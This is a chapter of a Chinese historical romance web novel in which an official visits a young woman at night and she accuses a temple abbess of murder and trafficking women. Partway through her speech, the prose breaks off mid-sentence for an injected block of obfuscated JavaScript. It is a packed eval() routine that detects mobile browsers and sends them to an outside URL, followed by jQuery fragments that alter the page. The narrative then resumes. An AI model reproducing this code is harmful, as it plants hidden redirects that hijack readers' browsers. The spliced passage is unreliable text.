裴宴回到房间时已是酉时三刻。


    明月轻手轻脚地进来禀报：“郎主，孟知州在清风楼设了宴，说是请郎主务必赏光，几位乡绅也在。”他抬眼偷觑裴宴神色，又补了一句，“孟知州说，是为灾后重建筹措钱粮之事。”


    裴宴正俯身看案上的地图，闻言头也未抬，只皱了皱眉：“回了他，就说我今日乏了，改日再议。”


    “是。”明月应声退下。


    少顷，丫鬟端了饭菜进来。一盆炉焙鸡炖得酥烂，油亮金黄；一碟清炒菘菜翠绿欲滴；一条清蒸鲈鱼撒着姜丝葱段，鲜香扑鼻；另有一盘炸得酥脆的花生米，一壶温热的黄酒。裴宴这才觉出腹中空空，从清晨到此刻，他只在早间用了半碗白粥，午间匆匆扒了几口饭，便又埋首公务。


    他唤来心腹幕僚赵先生和万先生，三人围坐小桌，默默地用了一餐简朴的晚饭。饭毕，裴宴挥挥手让他们各自歇息，明日还有要事。


    烛火在案头跳跃，将他的影子拉得颀长。


    就在这时，长风去而复返，悄无声息地进来，低声道：“郎主，柳枝巷那边……许娘子前日曾托属下带话，说若您得空，她有要事需与您禀报。”


    裴宴执笔的手一顿，墨迹在纸上洇开一小团。他抬眼，眸色在烛光下显得有些深：“前日的事，为何今日才报？”


    长风心头一紧，单膝跪地：“小的失职。这几日见您忙于事务，与孟知州他们议事，属下便……便自作主张，想待郎主空闲了再禀。”


    书房内静了一瞬，只闻灯花轻微的爆裂声。


    “下去领十军棍。”裴宴声音平淡，却不容置疑。


    “是。”长风垂首欲退出去。


    “回来。”裴宴却又叫住他，指尖无意识地敲了敲桌面，“她可曾说是什么事？约在何时何地？”


    “许娘子未详说，也未约定具体时辰地点。”长风小心回道，“郎主，要不属下现在就去柳枝巷问问？”


    裴宴沉默片刻，忽然起身：“不必了。二十军棍，退下吧！”


    长风一愣，随即垂头丧气的退了出去。


    明月在门口站着，看到长风出来，面色有些怪异，小声道：“你也太不机敏了，许娘子和京城那些娘子不一样的，郎主对她也不一样的，我早叮嘱你，对许娘子要上心些，你偏不信，如今挨罚了吧！”


    “好你个明月，竟敢呲哒你风大爷，看我怎么收拾你。”两人小声嚷嚷着走远了。


    裴宴在书房中踱了几步。窗外夜色浓稠，远处菰城的灯火零星点点，像困倦的眼。他想起那日仁心堂草棚外，许娇娇专注喂药的侧影；想起她递来粗布口罩时指尖的微凉；也想起沈谦望向她时，眼中那抹不容错辨的柔和。


    心底某处，掠过一丝极细微的、连他自己都不愿深究的波动。


    “来人，”他扬声唤道，“更衣，备马。”


    柳枝巷深处，小院内。


    许娇娇坐在老柳树下的石凳上，夏末的夜风已带了些许凉意，拂过她单薄的肩。旺财安静地卧在她脚边，喉咙里发出舒适的呼噜声。她有一搭没一搭地抚摸着旺财粗糙的皮毛，目光却时不时飘向紧闭的院门。


    已是亥时初了。


    她暗忖，长风应当把话带到了。可裴宴那般身份，赈灾、查案、应对官场，千头万绪，又怎会将她一个平头百姓的要事真正放在心上？或许，只是她病急乱投医，想当然耳。


    心底升起一丝自嘲的涩意。她凭什么认为，如今那位冷面肃然的裴天使，会为她的事情深夜前来？


    正思量间，堂屋里传来静心的声音，隔着窗纸，模模糊糊的：“娇杏，热水烧好了，快来洗漱安置。”


    “就来。”许娇娇应了一声，起身拍了拍裙摆上并不存在的灰尘。


    洗漱毕，她回到自己那间狭小却整洁的屋子。油灯如豆，映着四壁空寂。她吹熄了灯，躺上床，睁着眼看黑暗里模糊的房梁轮廓。


    睡意迟迟不来。


    忽然，窗棂被极轻地叩响了。


    “笃、笃笃。”


    许娇娇浑身一僵，呼吸瞬间屏住。她无声地坐起，指尖已摸向枕下那包备好的药粉。


    “是我。”窗外传来男子低沉的声音，在寂静的夜里显得格外清晰，“许娘子可安歇了？”


    这声音……


    许娇娇怔住，心跳却莫名漏了一拍。她掀被下床，趿了鞋，轻手轻脚走到窗边，压低声音：“裴安抚？”


    “嗯。”窗外人应了一声，“长风传话，说你寻我。”


    他竟真的来了。在这个时辰，亲自来了。


    许娇娇心中涌起一股复杂的滋味，惊讶，庆幸，感激、还有一丝连她自己都不愿承认的、细微的悸动。她稳了稳心神，迅速理了理微乱的鬓发和衣裙，才轻声道：“安抚使稍候。”


    她转身点亮油灯，昏黄的光晕立刻充盈了小屋。犹豫了一瞬，她还是将门闩拉开，拉开了房门。


    裴宴站在廊下。


    他换了一身深青色的常服，未着官袍，少了白日里的威严冷峻，却多了几分夜色浸润下的清冽。月光与廊檐下灯笼的光交织，在他轮廓分明的侧脸上投下浅浅阴影。他身量很高，站在低矮的屋檐下，需微微低头。


    许娇娇侧身让开：“深夜劳烦安抚使亲至，实在惶恐。请进。”


    裴宴迈步入内，目光极快地扫过这间陋室。一床一桌一柜，陈设简单到近乎寒酸，却收拾得纤尘不染。空气中弥漫着淡淡的、混合了药草与皂角的清苦气息，与她身上惯有的味道如出一辙。


    “无妨。”他在桌旁唯一一张看起来结实些的椅子上坐下，“你说有要事？”


    许娇娇掩上门，却没有立刻坐下。她走到桌边，提起小火炉上一直温着的粗陶壶，倒了一杯热水，推到裴宴面前。水汽氤氲，模糊了两人之间的视线。


    “是。”她在他对面的床沿坐下，隔着一张小方桌，抬起眼，目光清亮而坚定，“我，小女要告发水月庵住持水仙姑，杀人、略人、勾结地方豪强、戕害良善。”


    裴宴端起粗陶杯的手微微一顿，抬眼看她：“证据？”


    许娇娇深吸一口气。这一刻终于来了。她赌上了自己在这世间几乎全部的信任。


    “第一桩，谋杀水月庵前任住持了尘师父。”她声音平稳，却字字清晰，“就在八年前开春的一天，水仙姑给了尘端了一杯茶，了尘师父饮后便心悸发作而死。了尘师父生前身体康健，并无心悸。因了尘师父发现水仙姑与归平县王大官人勾结略卖人口的证据，苦心劝阻无果，并欲要报官。此事，静尘师姐，也就是了尘师父的嫡传弟子亲眼目睹。尸体被水仙姑与她的心腹静非，连夜埋在了水月庵后山的一棵老歪脖子枣树下。静尘师姐知晓具体位置，可随时指认。”


    裴宴神色未变，眸色却深了几分：“静尘就是你那个比丘尼师姐？”


    “是的，只是如今她和静心已经还俗。”许娇娇道，“她们二人，皆是水仙姑恶行的见证者与受害者。静尘师姐可为证，静心亦曾亲眼见过水仙姑与王大官人密会，以及她藏匿的内造金簪与艳俗衣物。”


    “第二桩，”她继续道，语速稍快，“水仙姑借水月庵为幌，与归平县王大官人长期勾结，以‘招工’、‘学艺’为名，诱拐、掳掠贫苦人家女子，或外地流落至菰城的孤女。女子被集中关押在庵堂后院的地窖或密室中，经水路，通过王大官人控制的船队，运往北地。此事，静心曾因无意中窥见地窖中被囚女子，而遭水仙姑毒打囚禁，险些丧命。静尘与静心逃出水月庵时，亦曾亲眼所见。”


    裴宴静静听着，指尖在粗陶杯壁上缓缓摩挲。这些信息，与他之前查到的线索隐隐吻合。但由她口中这般清晰道出，分量又自不同。


    “第三桩，”许娇娇的声音低了下去，“水仙姑与王大官人，曾多次设计陷害于我，欲除之而后快。从最初在水月庵后山，到后来的妖女传言，再到如今……我怀疑，柳枝巷新搬来的那位崔娘子，与水仙姑乃旧识，甚至可能，也是冲着我来的。”


    她抬起眼，直视裴宴。灯火在她清澈的眸子里跳跃，映出一种混合了脆弱与坚韧的奇异光芒。


    “小女人微言轻，无依无靠。水仙姑有王大官人为爪牙，王大官人在本地颇有势力，其弟王兆仁更是菰城司户参军。民女状告无门。前几日亦是为了自保，才不得不找人帮我盯着崔家。”她顿了顿，声音里透出一丝不易察觉的轻颤，却又被她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303403|197528||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    迅速压下，“民女如今知晓，天使也在调查他们。之前是我不知天使行事，还请天使勿怪。崔家和水仙姑，或许与您所查之事有所牵连。小女愿将所有所知和盘托出，静尘、静心亦可为证。只求……只求天使能秉公执法，铲除奸恶，还亡者公道，予生者安宁。”


    说完这番话，她静静等着，双手在膝上悄然握紧。


    裴宴没有立刻回应。


    他看着她。她穿着半旧的浅青色寝衣，外头只松松罩了件外衫，乌发如瀑，仅用一根木簪绾住大半，几缕碎发垂在颈边，衬得那段脖颈越发纤细白皙。许是紧张，她的唇微微抿着，脸颊在灯光下泛着淡淡的、如玉般的光泽。


    她确实很美。不是那种娇艳夺目的美，而是一种清泠的、如山间溪水月下竹影般的韵致。尤其是此刻，那双总是沉静从容的眸子里，清晰地映出他的影子，带着孤注一掷的信任，与一丝小心翼翼的……期盼。


    她在求他庇护。用她掌握的秘密作为交换。


    甚至，裴宴敏锐地察觉到，她此刻的姿态，那微微仰起的脸，轻颤的睫羽，无意中流露出的一丝脆弱，或许……并非全然无意。


    她在试着利用他可能对她存有的那一点点好感。


    这个认知，让裴宴心底掠过一丝极淡的、说不清道不明的情绪。像是被人用羽毛极轻地搔了一下，有点痒，有点恼，又有点……别的什么。


    他并非不谙世事。官场沉浮，京城繁华，什么样的美人计谋他没见过？那些精心设计的邂逅，婉转含蓄的暗示，直白露骨的勾引……他向来嗤之以鼻，甚至厌烦。


    可眼前这个女子不一样。她的利用带着一种近乎坦率的笨拙，她的算计底下，是真实的走投无路与恐惧。她像一只被逼到悬崖边的小兽，明明怕得发抖，却还是亮出了自己并不锋利的爪牙，试图抓住任何一根可能垂下的藤蔓。


    而这种笨拙的、混合着真实恐惧与试探的“美人计”，竟奇异地……让他无法硬起心肠。


    半晌，裴宴才开口，声音在寂静的夜里显得格外低沉：“你所言之事，关乎人命大案，本官自会查证。”


    许娇娇的心提了起来。


    “不过，”他话锋一转，目光如实质般落在她脸上，“你如何确定，本官就一定会管？又如何确信，本官管得了？”


    许娇娇迎着他的目光，毫不闪避：“因为小女相信，裴安抚与那些官官相护之人不同。您临危受命，主持赈灾，亲力亲为，可见心系百姓。疫病之中，您调度有方，惩处懈怠官吏，可见不畏强权，公正严明。”她顿了顿，声音轻了些，却更清晰，“也因为……您曾派人暗中看护此院。这份善意，小女铭记于心。”


    最后这句话，她说得轻而缓，目光微垂，长睫在眼下投下一小片阴影，恰好在脸颊上形成一抹欲说还休的柔婉。


    裴宴的指尖在杯壁上停住了。


    聪明，又大胆。


    静默在两人之间蔓延，只有灯花偶尔爆开的细微声响。旺财在门外轻轻挠了下门板，呜咽了一声。


    良久，裴宴放下早已凉透的水杯，站起身。


    “此事本官已知晓。”他居高临下地看着她，恢复了平日那种疏淡冷静的口吻，“水月庵命案，贩卖人口，皆属刑案，本官会着人密查。在查明之前，你与静尘、静心，暂且安住于此，勿要轻举妄动，亦不必过于忧惧。”


    他走到门边，又停下脚步，没有回头，只道：“柳枝巷内外，本官已加派了人手。寻常宵小，近不得此院。”


    说完，他拉开门，玄色的衣角一闪，便融入了门外的夜色中。


    夜风灌入，吹得桌上灯火猛地摇曳了几下。


    许娇娇独自坐在床边，听着马蹄声由近及远，最终消失在巷子尽头。她缓缓松开紧握的双手，掌心已被指甲掐出了几道深深的红痕。


    方才那一瞬间，她几乎用尽了全部的心力与勇气。她说了该说的，也试探了能试探的。甚至，刻意流露出些许柔弱之态——那是她从前最不屑为之的。


    结果如何？她看不透裴宴那张总是没什么表情的脸。但他答应会查，还在柳枝巷安排了人手，这一点让许娇娇提了的许久的心放了下来，竟是前所未有的安心。